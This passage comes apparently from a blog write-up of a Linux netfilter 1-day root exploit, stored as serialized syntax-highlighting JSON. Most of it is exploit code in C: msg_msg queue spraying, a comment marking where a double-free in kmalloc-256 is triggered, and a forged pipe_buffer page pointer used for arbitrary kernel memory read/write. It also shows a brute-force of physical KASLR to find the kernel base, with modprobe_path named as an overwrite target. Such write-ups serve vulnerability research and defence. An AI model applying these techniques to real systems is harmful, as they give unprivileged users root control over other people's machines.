qid",{"type":21,"tag":85,"props":58209,"children":58210},{"style":114},[58211],{"type":26,"value":58212},"[SPRAY];\n",{"type":21,"tag":85,"props":58214,"children":58215},{"class":87,"line":185},[58216,58220,58224,58228,58232,58236,58240,58244,58248,58253,58257],{"type":21,"tag":85,"props":58217,"children":58218},{"style":2885},[58219],{"type":26,"value":3809},{"type":21,"tag":85,"props":58221,"children":58222},{"style":114},[58223],{"type":26,"value":717},{"type":21,"tag":85,"props":58225,"children":58226},{"style":102},[58227],{"type":26,"value":19473},{"type":21,"tag":85,"props":58229,"children":58230},{"style":114},[58231],{"type":26,"value":55000},{"type":21,"tag":85,"props":58233,"children":58234},{"style":169},[58235],{"type":26,"value":741},{"type":21,"tag":85,"props":58237,"children":58238},{"style":2285},[58239],{"type":26,"value":2830},{"type":21,"tag":85,"props":58241,"children":58242},{"style":114},[58243],{"type":26,"value":51689},{"type":21,"tag":85,"props":58245,"children":58246},{"style":169},[58247],{"type":26,"value":117},{"type":21,"tag":85,"props":58249,"children":58250},{"style":114},[58251],{"type":26,"value":58252}," SPRAY; i",{"type":21,"tag":85,"props":58254,"children":58255},{"style":169},[58256],{"type":26,"value":51725},{"type":21,"tag":85,"props":58258,"children":58259},{"style":114},[58260],{"type":26,"value":2485},{"type":21,"tag":85,"props":58262,"children":58263},{"class":87,"line":501},[58264],{"type":21,"tag":85,"props":58265,"children":58266},{"style":114},[58267],{"type":26,"value":29630},{"type":21,"tag":85,"props":58269,"children":58270},{"class":87,"line":697},[58271,58276,58280,58284,58289,58294,58299,58303],{"type":21,"tag":85,"props":58272,"children":58273},{"style":120},[58274],{"type":26,"value":58275},"        qid",{"type":21,"tag":85,"props":58277,"children":58278},{"style":114},[58279],{"type":26,"value":55052},{"type":21,"tag":85,"props":58281,"children":58282},{"style":169},[58283],{"type":26,"value":741},{"type":21,"tag":85,"props":58285,"children":58286},{"style":1021},[58287],{"type":26,"value":58288}," msgget",{"type":21,"tag":85,"props":58290,"children":58291},{"style":114},[58292],{"type":26,"value":58293},"(IPC_PRIVATE, ",{"type":21,"tag":85,"props":58295,"children":58296},{"style":2285},[58297],{"type":26,"value":58298},"0666",{"type":21,"tag":85,"props":58300,"children":58301},{"style":169},[58302],{"type":26,"value":5039},{"type":21,"tag":85,"props":58304,"children":58305},{"style":114},[58306],{"type":26,"value":58307}," IPC_CREAT);\n",{"type":21,"tag":85,"props":58309,"children":58310},{"class":87,"line":706},[58311,58315,58319,58324,58328,58332,58336],{"type":21,"tag":85,"props":58312,"children":58313},{"style":2885},[58314],{"type":26,"value":4044},{"type":21,"tag":85,"props":58316,"children":58317},{"style":114},[58318],{"type":26,"value":717},{"type":21,"tag":85,"props":58320,"children":58321},{"style":120},[58322],{"type":26,"value":58323},"qid",{"type":21,"tag":85,"props":58325,"children":58326},{"style":114},[58327],{"type":26,"value":55052},{"type":21,"tag":85,"props":58329,"children":58330},{"style":169},[58331],{"type":26,"value":117},{"type":21,"tag":85,"props":58333,"children":58334},{"style":2285},[58335],{"type":26,"value":2830},{"type":21,"tag":85,"props":58337,"children":58338},{"style":114},[58339],{"type":26,"value":2485},{"type":21,"tag":85,"props":58341,"children":58342},{"class":87,"line":1100},[58343],{"type":21,"tag":85,"props":58344,"children":58345},{"style":114},[58346],{"type":26,"value":32104},{"type":21,"tag":85,"props":58348,"children":58349},{"class":87,"line":1339},[58350,58355,58359,58364],{"type":21,"tag":85,"props":58351,"children":58352},{"style":1021},[58353],{"type":26,"value":58354},"            perror",{"type":21,"tag":85,"props":58356,"children":58357},{"style":114},[58358],{"type":26,"value":1439},{"type":21,"tag":85,"props":58360,"children":58361},{"style":5026},[58362],{"type":26,"value":58363},"\"[-] msgget\"",{"type":21,"tag":85,"props":58365,"children":58366},{"style":114},[58367],{"type":26,"value":777},{"type":21,"tag":85,"props":58369,"children":58370},{"class":87,"line":1348},[58371],{"type":21,"tag":85,"props":58372,"children":58373},{"style":114},[58374],{"type":26,"value":4118},{"type":21,"tag":85,"props":58376,"children":58377},{"class":87,"line":1386},[58378,58382,58386,58391,58395,58399,58404,58408,58413,58417],{"type":21,"tag":85,"props":58379,"children":58380},{"style":169},[58381],{"type":26,"value":2102},{"type":21,"tag":85,"props":58383,"children":58384},{"style":114},[58385],{"type":26,"value":1439},{"type":21,"tag":85,"props":58387,"children":58388},{"style":102},[58389],{"type":26,"value":58390},"uint32_t",{"type":21,"tag":85,"props":58392,"children":58393},{"style":169},[58394],{"type":26,"value":10231},{"type":21,"tag":85,"props":58396,"children":58397},{"style":114},[58398],{"type":26,"value":1900},{"type":21,"tag":85,"props":58400,"children":58401},{"style":120},[58402],{"type":26,"value":58403},"msg",{"type":21,"tag":85,"props":58405,"children":58406},{"style":114},[58407],{"type":26,"value":14175},{"type":21,"tag":85,"props":58409,"children":58410},{"style":120},[58411],{"type":26,"value":58412},"mtext",{"type":21,"tag":85,"props":58414,"children":58415},{"style":169},[58416],{"type":26,"value":1941},{"type":21,"tag":85,"props":58418,"children":58419},{"style":114},[58420],{"type":26,"value":58421}," i;\n",{"type":21,"tag":85,"props":58423,"children":58424},{"class":87,"line":1394},[58425,58429,58433,58437,58441,58445,58449,58453,58457,58461,58465,58469,58473,58477,58482],{"type":21,"tag":85,"props":58426,"children":58427},{"style":169},[58428],{"type":26,"value":2102},{"type":21,"tag":85,"props":58430,"children":58431},{"style":114},[58432],{"type":26,"value":1439},{"type":21,"tag":85,"props":58434,"children":58435},{"style":102},[58436],{"type":26,"value":56091},{"type":21,"tag":85,"props":58438,"children":58439},{"style":169},[58440],{"type":26,"value":10231},{"type":21,"tag":85,"props":58442,"children":58443},{"style":114},[58444],{"type":26,"value":1900},{"type":21,"tag":85,"props":58446,"children":58447},{"style":169},[58448],{"type":26,"value":2238},{"type":21,"tag":85,"props":58450,"children":58451},{"style":120},[58452],{"type":26,"value":58403},{"type":21,"tag":85,"props":58454,"children":58455},{"style":114},[58456],{"type":26,"value":14175},{"type":21,"tag":85,"props":58458,"children":58459},{"style":120},[58460],{"type":26,"value":58412},{"type":21,"tag":85,"props":58462,"children":58463},{"style":114},[58464],{"type":26,"value":3016},{"type":21,"tag":85,"props":58466,"children":58467},{"style":2285},[58468],{"type":26,"value":4843},{"type":21,"tag":85,"props":58470,"children":58471},{"style":114},[58472],{"type":26,"value":3026},{"type":21,"tag":85,"props":58474,"children":58475},{"style":169},[58476],{"type":26,"value":741},{"type":21,"tag":85,"props":58478,"children":58479},{"style":2285},[58480],{"type":26,"value":58481}," 0xdeadbeefcafebabe",{"type":21,"tag":85,"props":58483,"children":58484},{"style":114},[58485],{"type":26,"value":2535},{"type":21,"tag":85,"props":58487,"children":58488},{"class":87,"line":1402},[58489,58494,58498,58503,58507],{"type":21,"tag":85,"props":58490,"children":58491},{"style":120},[58492],{"type":26,"value":58493},"        msg",{"type":21,"tag":85,"props":58495,"children":58496},{"style":114},[58497],{"type":26,"value":14175},{"type":21,"tag":85,"props":58499,"children":58500},{"style":120},[58501],{"type":26,"value":58502},"mtype",{"type":21,"tag":85,"props":58504,"children":58505},{"style":169},[58506],{"type":26,"value":1941},{"type":21,"tag":85,"props":58508,"children":58509},{"style":114},[58510],{"type":26,"value":58511}," MTYPE_PRIMARY;\n",{"type":21,"tag":85,"props":58513,"children":58514},{"class":87,"line":3145},[58515,58520,58524,58528,58533,58537,58541,58546,58550,58554],{"type":21,"tag":85,"props":58516,"children":58517},{"style":1021},[58518],{"type":26,"value":58519},"        msgsnd",{"type":21,"tag":85,"props":58521,"children":58522},{"style":114},[58523],{"type":26,"value":1439},{"type":21,"tag":85,"props":58525,"children":58526},{"style":120},[58527],{"type":26,"value":58323},{"type":21,"tag":85,"props":58529,"children":58530},{"style":114},[58531],{"type":26,"value":58532},"[i], msg, ",{"type":21,"tag":85,"props":58534,"children":58535},{"style":2285},[58536],{"type":26,"value":56428},{"type":21,"tag":85,"props":58538,"children":58539},{"style":169},[58540],{"type":26,"value":51711},{"type":21,"tag":85,"props":58542,"children":58543},{"style":2285},[58544],{"type":26,"value":58545}," 48",{"type":21,"tag":85,"props":58547,"children":58548},{"style":114},[58549],{"type":26,"value":256},{"type":21,"tag":85,"props":58551,"children":58552},{"style":2285},[58553],{"type":26,"value":4789},{"type":21,"tag":85,"props":58555,"children":58556},{"style":114},[58557],{"type":26,"value":777},{"type":21,"tag":85,"props":58559,"children":58560},{"class":87,"line":3246},[58561,58565,58569,58573,58577],{"type":21,"tag":85,"props":58562,"children":58563},{"style":120},[58564],{"type":26,"value":58493},{"type":21,"tag":85,"props":58566,"children":58567},{"style":114},[58568],{"type":26,"value":14175},{"type":21,"tag":85,"props":58570,"children":58571},{"style":120},[58572],{"type":26,"value":58502},{"type":21,"tag":85,"props":58574,"children":58575},{"style":169},[58576],{"type":26,"value":1941},{"type":21,"tag":85,"props":58578,"children":58579},{"style":114},[58580],{"type":26,"value":58581}," MTYPE_SECONDARY;\n",{"type":21,"tag":85,"props":58583,"children":58584},{"class":87,"line":3255},[58585,58589,58593,58597,58601,58606,58610,58614,58618,58622],{"type":21,"tag":85,"props":58586,"children":58587},{"style":1021},[58588],{"type":26,"value":58519},{"type":21,"tag":85,"props":58590,"children":58591},{"style":114},[58592],{"type":26,"value":1439},{"type":21,"tag":85,"props":58594,"children":58595},{"style":120},[58596],{"type":26,"value":58323},{"type":21,"tag":85,"props":58598,"children":58599},{"style":114},[58600],{"type":26,"value":58532},{"type":21,"tag":85,"props":58602,"children":58603},{"style":2285},[58604],{"type":26,"value":58605},"1024",{"type":21,"tag":85,"props":58607,"children":58608},{"style":169},[58609],{"type":26,"value":51711},{"type":21,"tag":85,"props":58611,"children":58612},{"style":2285},[58613],{"type":26,"value":58545},{"type":21,"tag":85,"props":58615,"children":58616},{"style":114},[58617],{"type":26,"value":256},{"type":21,"tag":85,"props":58619,"children":58620},{"style":2285},[58621],{"type":26,"value":4789},{"type":21,"tag":85,"props":58623,"children":58624},{"style":114},[58625],{"type":26,"value":777},{"type":21,"tag":85,"props":58627,"children":58628},{"class":87,"line":3286},[58629],{"type":21,"tag":85,"props":58630,"children":58631},{"style":114},[58632],{"type":26,"value":507},{"type":21,"tag":85,"props":58634,"children":58635},{"class":87,"line":3295},[58636],{"type":21,"tag":85,"props":58637,"children":58638},{"style":92},[58639],{"type":26,"value":58640},"    // Prepare evil msg\n",{"type":21,"tag":85,"props":58642,"children":58643},{"class":87,"line":3308},[58644,58648,58653,58657,58661,58665,58669,58673],{"type":21,"tag":85,"props":58645,"children":58646},{"style":102},[58647],{"type":26,"value":19503},{"type":21,"tag":85,"props":58649,"children":58650},{"style":114},[58651],{"type":26,"value":58652}," evilqid ",{"type":21,"tag":85,"props":58654,"children":58655},{"style":169},[58656],{"type":26,"value":741},{"type":21,"tag":85,"props":58658,"children":58659},{"style":1021},[58660],{"type":26,"value":58288},{"type":21,"tag":85,"props":58662,"children":58663},{"style":114},[58664],{"type":26,"value":58293},{"type":21,"tag":85,"props":58666,"children":58667},{"style":2285},[58668],{"type":26,"value":58298},{"type":21,"tag":85,"props":58670,"children":58671},{"style":169},[58672],{"type":26,"value":5039},{"type":21,"tag":85,"props":58674,"children":58675},{"style":114},[58676],{"type":26,"value":58307},{"type":21,"tag":85,"props":58678,"children":58679},{"class":87,"line":3333},[58680,58684,58689,58693,58697],{"type":21,"tag":85,"props":58681,"children":58682},{"style":2885},[58683],{"type":26,"value":12696},{"type":21,"tag":85,"props":58685,"children":58686},{"style":114},[58687],{"type":26,"value":58688}," (evilqid ",{"type":21,"tag":85,"props":58690,"children":58691},{"style":169},[58692],{"type":26,"value":117},{"type":21,"tag":85,"props":58694,"children":58695},{"style":2285},[58696],{"type":26,"value":2830},{"type":21,"tag":85,"props":58698,"children":58699},{"style":114},[58700],{"type":26,"value":2485},{"type":21,"tag":85,"props":58702,"children":58703},{"class":87,"line":3369},[58704],{"type":21,"tag":85,"props":58705,"children":58706},{"style":114},[58707],{"type":26,"value":29630},{"type":21,"tag":85,"props":58709,"children":58710},{"class":87,"line":3377},[58711,58716,58720,58724],{"type":21,"tag":85,"props":58712,"children":58713},{"style":1021},[58714],{"type":26,"value":58715},"        perror",{"type":21,"tag":85,"props":58717,"children":58718},{"style":114},[58719],{"type":26,"value":1439},{"type":21,"tag":85,"props":58721,"children":58722},{"style":5026},[58723],{"type":26,"value":58363},{"type":21,"tag":85,"props":58725,"children":58726},{"style":114},[58727],{"type":26,"value":777},{"type":21,"tag":85,"props":58729,"children":58730},{"class":87,"line":3386},[58731],{"type":21,"tag":85,"props":58732,"children":58733},{"style":114},[58734],{"type":26,"value":507},{"type":21,"tag":85,"props":58736,"children":58737},{"class":87,"line":3394},[58738],{"type":21,"tag":85,"props":58739,"children":58740},{"style":114},[58741],{"type":26,"value":58742},"[...] // trigger double-free in kmalloc-256\n",{"type":21,"tag":10022,"props":58744,"children":58746},{"id":58745},"using-pipe_buffer-page-pointer-for-physical-readwrite",[58747],{"type":26,"value":58748},"Using pipe_buffer->page pointer for physical read/write",{"type":21,"tag":22,"props":58750,"children":58751},{},[58752,58754,58760,58761,58767,58768,58774,58776,58782],{"type":26,"value":58753},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":21,"tag":66,"props":58755,"children":58757},{"className":58756},[],[58758],{"type":26,"value":58759},"kmalloc-1k",{"type":26,"value":11408},{"type":21,"tag":66,"props":58762,"children":58764},{"className":58763},[],[58765],{"type":26,"value":58766},"overlap pipe_buffer",{"type":26,"value":21932},{"type":21,"tag":66,"props":58769,"children":58771},{"className":58770},[],[58772],{"type":26,"value":58773},"skbuf",{"type":26,"value":58775}," data to control the ",{"type":21,"tag":66,"props":58777,"children":58779},{"className":58778},[],[58780],{"type":26,"value":58781},"page",{"type":26,"value":58783}," field.",{"type":21,"tag":22,"props":58785,"children":58786},{},[58787,58788,58793,58795,58801,58803],{"type":26,"value":17034},{"type":21,"tag":66,"props":58789,"children":58791},{"className":58790},[],[58792],{"type":26,"value":58781},{"type":26,"value":58794}," field is a pointer into ",{"type":21,"tag":66,"props":58796,"children":58798},{"className":58797},[],[58799],{"type":26,"value":58800},"vmemmap_base",{"type":26,"value":58802},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":21,"tag":4681,"props":58804,"children":58806},{"alt":51034,"src":58805},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":21,"tag":22,"props":58808,"children":58809},{},[58810,58812,58817],{"type":26,"value":58811},"This now allows us to navigate the ",{"type":21,"tag":66,"props":58813,"children":58815},{"className":58814},[],[58816],{"type":26,"value":58800},{"type":26,"value":58818}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":21,"tag":10022,"props":58820,"children":58822},{"id":58821},"bruteforce-physical-kernel-base",[58823],{"type":26,"value":58824},"Bruteforce physical kernel base",{"type":21,"tag":22,"props":58826,"children":58827},{},[58828,58830,58836,58838,58843,58845,58851],{"type":26,"value":58829},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":21,"tag":66,"props":58831,"children":58833},{"className":58832},[],[58834],{"type":26,"value":58835},"modprobe_path",{"type":26,"value":58837},". Keep in mind that simply searching page by page from the start of ",{"type":21,"tag":66,"props":58839,"children":58841},{"className":58840},[],[58842],{"type":26,"value":58800},{"type":26,"value":58844}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":21,"tag":66,"props":58846,"children":58848},{"className":58847},[],[58849],{"type":26,"value":58850},"PHYSICAL_ALIGN",{"type":26,"value":58852}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":21,"tag":75,"props":58854,"children":58856},{"className":29553,"code":58855,"language":29555,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[58857],{"type":21,"tag":66,"props":58858,"children":58859},{"__ignoreMap":7},[58860,58867,58875,58883,58907,58940,58960,59000,59007,59051,59085,59112,59148,59155,59201,59208,59238,59251,59316,59323,59335,59343,59350,59357,59383,59390,59410,59422,59429,59436,59443],{"type":21,"tag":85,"props":58861,"children":58862},{"class":87,"line":88},[58863],{"type":21,"tag":85,"props":58864,"children":58865},{"style":114},[58866],{"type":26,"value":10733},{"type":21,"tag":85,"props":58868,"children":58869},{"class":87,"line":98},[58870],{"type":21,"tag":85,"props":58871,"children":58872},{"style":114},[58873],{"type":26,"value":58874},"// Bruteforce phys-KASLR\n",{"type":21,"tag":85,"props":58876,"children":58877},{"class":87,"line":151},[58878],{"type":21,"tag":85,"props":58879,"children":58880},{"style":114},[58881],{"type":26,"value":58882},"    uint64_t kernel_base;\n",{"type":21,"tag":85,"props":58884,"children":58885},{"class":87,"line":160},[58886,58890,58895,58899,58903],{"type":21,"tag":85,"props":58887,"children":58888},{"style":102},[58889],{"type":26,"value":46927},{"type":21,"tag":85,"props":58891,"children":58892},{"style":114},[58893],{"type":26,"value":58894}," found ",{"type":21,"tag":85,"props":58896,"children":58897},{"style":169},[58898],{"type":26,"value":741},{"type":21,"tag":85,"props":58900,"children":58901},{"style":102},[58902],{"type":26,"value":3438},{"type":21,"tag":85,"props":58904,"children":58905},{"style":114},[58906],{"type":26,"value":2535},{"type":21,"tag":85,"props":58908,"children":58909},{"class":87,"line":185},[58910,58915,58919,58924,58928,58932,58936],{"type":21,"tag":85,"props":58911,"children":58912},{"style":102},[58913],{"type":26,"value":58914},"    uint8_t",{"type":21,"tag":85,"props":58916,"children":58917},{"style":120},[58918],{"type":26,"value":15523},{"type":21,"tag":85,"props":58920,"children":58921},{"style":114},[58922],{"type":26,"value":58923},"[PAGE_SIZE] ",{"type":21,"tag":85,"props":58925,"children":58926},{"style":169},[58927],{"type":26,"value":741},{"type":21,"tag":85,"props":58929,"children":58930},{"style":114},[58931],{"type":26,"value":45671},{"type":21,"tag":85,"props":58933,"children":58934},{"style":2285},[58935],{"type":26,"value":4789},{"type":21,"tag":85,"props":58937,"children":58938},{"style":114},[58939],{"type":26,"value":16998},{"type":21,"tag":85,"props":58941,"children":58942},{"class":87,"line":501},[58943,58947,58951,58956],{"type":21,"tag":85,"props":58944,"children":58945},{"style":1021},[58946],{"type":26,"value":55963},{"type":21,"tag":85,"props":58948,"children":58949},{"style":114},[58950],{"type":26,"value":1439},{"type":21,"tag":85,"props":58952,"children":58953},{"style":5026},[58954],{"type":26,"value":58955},"\"[*] bruteforce phys-KASLR\"",{"type":21,"tag":85,"props":58957,"children":58958},{"style":114},[58959],{"type":26,"value":777},{"type":21,"tag":85,"props":58961,"children":58962},{"class":87,"line":697},[58963,58967,58971,58975,58979,58983,58987,58992,58996],{"type":21,"tag":85,"props":58964,"children":58965},{"style":2885},[58966],{"type":26,"value":3809},{"type":21,"tag":85,"props":58968,"children":58969},{"style":114},[58970],{"type":26,"value":717},{"type":21,"tag":85,"props":58972,"children":58973},{"style":102},[58974],{"type":26,"value":56091},{"type":21,"tag":85,"props":58976,"children":58977},{"style":114},[58978],{"type":26,"value":55000},{"type":21,"tag":85,"props":58980,"children":58981},{"style":169},[58982],{"type":26,"value":741},{"type":21,"tag":85,"props":58984,"children":58985},{"style":2285},[58986],{"type":26,"value":2830},{"type":21,"tag":85,"props":58988,"children":58989},{"style":114},[58990],{"type":26,"value":58991},";; i",{"type":21,"tag":85,"props":58993,"children":58994},{"style":169},[58995],{"type":26,"value":51725},{"type":21,"tag":85,"props":58997,"children":58998},{"style":114},[58999],{"type":26,"value":2485},{"type":21,"tag":85,"props":59001,"children":59002},{"class":87,"line":706},[59003],{"type":21,"tag":85,"props":59004,"children":59005},{"style":114},[59006],{"type":26,"value":29630},{"type":21,"tag":85,"props":59008,"children":59009},{"class":87,"line":1100},[59010,59015,59019,59024,59028,59033,59037,59042,59046],{"type":21,"tag":85,"props":59011,"children":59012},{"style":114},[59013],{"type":26,"value":59014},"        kernel_base ",{"type":21,"tag":85,"props":59016,"children":59017},{"style":169},[59018],{"type":26,"value":741},{"type":21,"tag":85,"props":59020,"children":59021},{"style":2285},[59022],{"type":26,"value":59023}," 0x40",{"type":21,"tag":85,"props":59025,"children":59026},{"style":169},[59027],{"type":26,"value":10231},{"type":21,"tag":85,"props":59029,"children":59030},{"style":114},[59031],{"type":26,"value":59032}," ((PHYSICAL_ALIGN ",{"type":21,"tag":85,"props":59034,"children":59035},{"style":169},[59036],{"type":26,"value":3052},{"type":21,"tag":85,"props":59038,"children":59039},{"style":114},[59040],{"type":26,"value":59041}," i) ",{"type":21,"tag":85,"props":59043,"children":59044},{"style":169},[59045],{"type":26,"value":13178},{"type":21,"tag":85,"props":59047,"children":59048},{"style":114},[59049],{"type":26,"value":59050}," PAGE_SHIFT);\n",{"type":21,"tag":85,"props":59052,"children":59053},{"class":87,"line":1339},[59054,59059,59063,59067,59071,59076,59080],{"type":21,"tag":85,"props":59055,"children":59056},{"style":120},[59057],{"type":26,"value":59058},"        pipebuf",{"type":21,"tag":85,"props":59060,"children":59061},{"style":114},[59062],{"type":26,"value":14175},{"type":21,"tag":85,"props":59064,"children":59065},{"style":120},[59066],{"type":26,"value":58781},{"type":21,"tag":85,"props":59068,"children":59069},{"style":169},[59070],{"type":26,"value":1941},{"type":21,"tag":85,"props":59072,"children":59073},{"style":114},[59074],{"type":26,"value":59075}," vmemmap_base ",{"type":21,"tag":85,"props":59077,"children":59078},{"style":169},[59079],{"type":26,"value":5151},{"type":21,"tag":85,"props":59081,"children":59082},{"style":114},[59083],{"type":26,"value":59084}," kernel_base;\n",{"type":21,"tag":85,"props":59086,"children":59087},{"class":87,"line":1348},[59088,59092,59096,59100,59104,59108],{"type":21,"tag":85,"props":59089,"children":59090},{"style":120},[59091],{"type":26,"value":59058},{"type":21,"tag":85,"props":59093,"children":59094},{"style":114},[59095],{"type":26,"value":14175},{"type":21,"tag":85,"props":59097,"children":59098},{"style":120},[59099],{"type":26,"value":14319},{"type":21,"tag":85,"props":59101,"children":59102},{"style":169},[59103],{"type":26,"value":1941},{"type":21,"tag":85,"props":59105,"children":59106},{"style":2285},[59107],{"type":26,"value":2830},{"type":21,"tag":85,"props":59109,"children":59110},{"style":114},[59111],{"type":26,"value":2535},{"type":21,"tag":85,"props":59113,"children":59114},{"class":87,"line":1386},[59115,59119,59123,59127,59131,59136,59140,59144],{"type":21,"tag":85,"props":59116,"children":59117},{"style":120},[59118],{"type":26,"value":59058},{"type":21,"tag":85,"props":59120,"children":59121},{"style":114},[59122],{"type":26,"value":14175},{"type":21,"tag":85,"props":59124,"children":59125},{"style":120},[59126],{"type":26,"value":3520},{"type":21,"tag":85,"props":59128,"children":59129},{"style":169},[59130],{"type":26,"value":1941},{"type":21,"tag":85,"props":59132,"children":59133},{"style":114},[59134],{"type":26,"value":59135}," PAGE_SIZE ",{"type":21,"tag":85,"props":59137,"children":59138},{"style":169},[59139],{"type":26,"value":5151},{"type":21,"tag":85,"props":59141,"children":59142},{"style":2285},[59143],{"type":26,"value":3279},{"type":21,"tag":85,"props":59145,"children":59146},{"style":114},[59147],{"type":26,"value":2535},{"type":21,"tag":85,"props":59149,"children":59150},{"class":87,"line":1394},[59151],{"type":21,"tag":85,"props":59152,"children":59153},{"style":114},[59154],{"type":26,"value":10733},{"type":21,"tag":85,"props":59156,"children":59157},{"class":87,"line":1402},[59158,59163,59167,59171,59175,59179,59184,59188,59193,59197],{"type":21,"tag":85,"props":59159,"children":59160},{"style":114},[59161],{"type":26,"value":59162},"        for (",{"type":21,"tag":85,"props":59164,"children":59165},{"style":102},[59166],{"type":26,"value":19473},{"type":21,"tag":85,"props":59168,"children":59169},{"style":120},[59170],{"type":26,"value":2984},{"type":21,"tag":85,"props":59172,"children":59173},{"style":169},[59174],{"type":26,"value":1941},{"type":21,"tag":85,"props":59176,"children":59177},{"style":2285},[59178],{"type":26,"value":2830},{"type":21,"tag":85,"props":59180,"children":59181},{"style":114},[59182],{"type":26,"value":59183},"; j ",{"type":21,"tag":85,"props":59185,"children":59186},{"style":169},[59187],{"type":26,"value":117},{"type":21,"tag":85,"props":59189,"children":59190},{"style":114},[59191],{"type":26,"value":59192}," PIPE_SPRAY; j",{"type":21,"tag":85,"props":59194,"children":59195},{"style":169},[59196],{"type":26,"value":51725},{"type":21,"tag":85,"props":59198,"children":59199},{"style":114},[59200],{"type":26,"value":2485},{"type":21,"tag":85,"props":59202,"children":59203},{"class":87,"line":3145},[59204],{"type":21,"tag":85,"props":59205,"children":59206},{"style":114},[59207],{"type":26,"value":32104},{"type":21,"tag":85,"props":59209,"children":59210},{"class":87,"line":3246},[59211,59216,59220,59224,59229,59233],{"type":21,"tag":85,"props":59212,"children":59213},{"style":1021},[59214],{"type":26,"value":59215},"            memset",{"type":21,"tag":85,"props":59217,"children":59218},{"style":114},[59219],{"type":26,"value":1439},{"type":21,"tag":85,"props":59221,"children":59222},{"style":169},[59223],{"type":26,"value":2238},{"type":21,"tag":85,"props":59225,"children":59226},{"style":114},[59227],{"type":26,"value":59228},"data, ",{"type":21,"tag":85,"props":59230,"children":59231},{"style":2285},[59232],{"type":26,"value":4789},{"type":21,"tag":85,"props":59234,"children":59235},{"style":114},[59236],{"type":26,"value":59237},", PAGE_SIZE);\n",{"type":21,"tag":85,"props":59239,"children":59240},{"class":87,"line":3255},[59241,59246],{"type":21,"tag":85,"props":59242,"children":59243},{"style":102},[59244],{"type":26,"value":59245},"            int",{"type":21,"tag":85,"props":59247,"children":59248},{"style":114},[59249],{"type":26,"value":59250}," count;\n",{"type":21,"tag":85,"props":59252,"children":59253},{"class":87,"line":3286},[59254,59259,59264,59268,59273,59277,59282,59287,59291,59295,59299,59304,59308,59312],{"type":21,"tag":85,"props":59255,"children":59256},{"style":2885},[59257],{"type":26,"value":59258},"            if",{"type":21,"tag":85,"props":59260,"children":59261},{"style":114},[59262],{"type":26,"value":59263}," (count ",{"type":21,"tag":85,"props":59265,"children":59266},{"style":169},[59267],{"type":26,"value":741},{"type":21,"tag":85,"props":59269,"children":59270},{"style":1021},[59271],{"type":26,"value":59272}," read",{"type":21,"tag":85,"props":59274,"children":59275},{"style":114},[59276],{"type":26,"value":1439},{"type":21,"tag":85,"props":59278,"children":59279},{"style":120},[59280],{"type":26,"value":59281},"pfd",{"type":21,"tag":85,"props":59283,"children":59284},{"style":114},[59285],{"type":26,"value":59286},"[j][",{"type":21,"tag":85,"props":59288,"children":59289},{"style":2285},[59290],{"type":26,"value":4789},{"type":21,"tag":85,"props":59292,"children":59293},{"style":114},[59294],{"type":26,"value":23489},{"type":21,"tag":85,"props":59296,"children":59297},{"style":169},[59298],{"type":26,"value":2238},{"type":21,"tag":85,"props":59300,"children":59301},{"style":114},[59302],{"type":26,"value":59303},"data, PAGE_SIZE) ",{"type":21,"tag":85,"props":59305,"children":59306},{"style":169},[59307],{"type":26,"value":117},{"type":21,"tag":85,"props":59309,"children":59310},{"style":2285},[59311],{"type":26,"value":2830},{"type":21,"tag":85,"props":59313,"children":59314},{"style":114},[59315],{"type":26,"value":2485},{"type":21,"tag":85,"props":59317,"children":59318},{"class":87,"line":3295},[59319],{"type":21,"tag":85,"props":59320,"children":59321},{"style":114},[59322],{"type":26,"value":32140},{"type":21,"tag":85,"props":59324,"children":59325},{"class":87,"line":3308},[59326,59331],{"type":21,"tag":85,"props":59327,"children":59328},{"style":2885},[59329],{"type":26,"value":59330},"                continue",{"type":21,"tag":85,"props":59332,"children":59333},{"style":114},[59334],{"type":26,"value":2535},{"type":21,"tag":85,"props":59336,"children":59337},{"class":87,"line":3333},[59338],{"type":21,"tag":85,"props":59339,"children":59340},{"style":114},[59341],{"type":26,"value":59342},"            }\n",{"type":21,"tag":85,"props":59344,"children":59345},{"class":87,"line":3369},[59346],{"type":21,"tag":85,"props":59347,"children":59348},{"style":114},[59349],{"type":26,"value":10733},{"type":21,"tag":85,"props":59351,"children":59352},{"class":87,"line":3377},[59353],{"type":21,"tag":85,"props":59354,"children":59355},{"emptyLinePlaceholder":16},[59356],{"type":26,"value":703},{"type":21,"tag":85,"props":59358,"children":59359},{"class":87,"line":3386},[59360,59365,59370,59374,59378],{"type":21,"tag":85,"props":59361,"children":59362},{"style":114},[59363],{"type":26,"value":59364},"            if (",{"type":21,"tag":85,"props":59366,"children":59367},{"style":108},[59368],{"type":26,"value":59369},"is_kernel_base",{"type":21,"tag":85,"props":59371,"children":59372},{"style":114},[59373],{"type":26,"value":1439},{"type":21,"tag":85,"props":59375,"children":59376},{"style":108},[59377],{"type":26,"value":4469},{"type":21,"tag":85,"props":59379,"children":59380},{"style":114},[59381],{"type":26,"value":59382},")) // [1] identify kernel 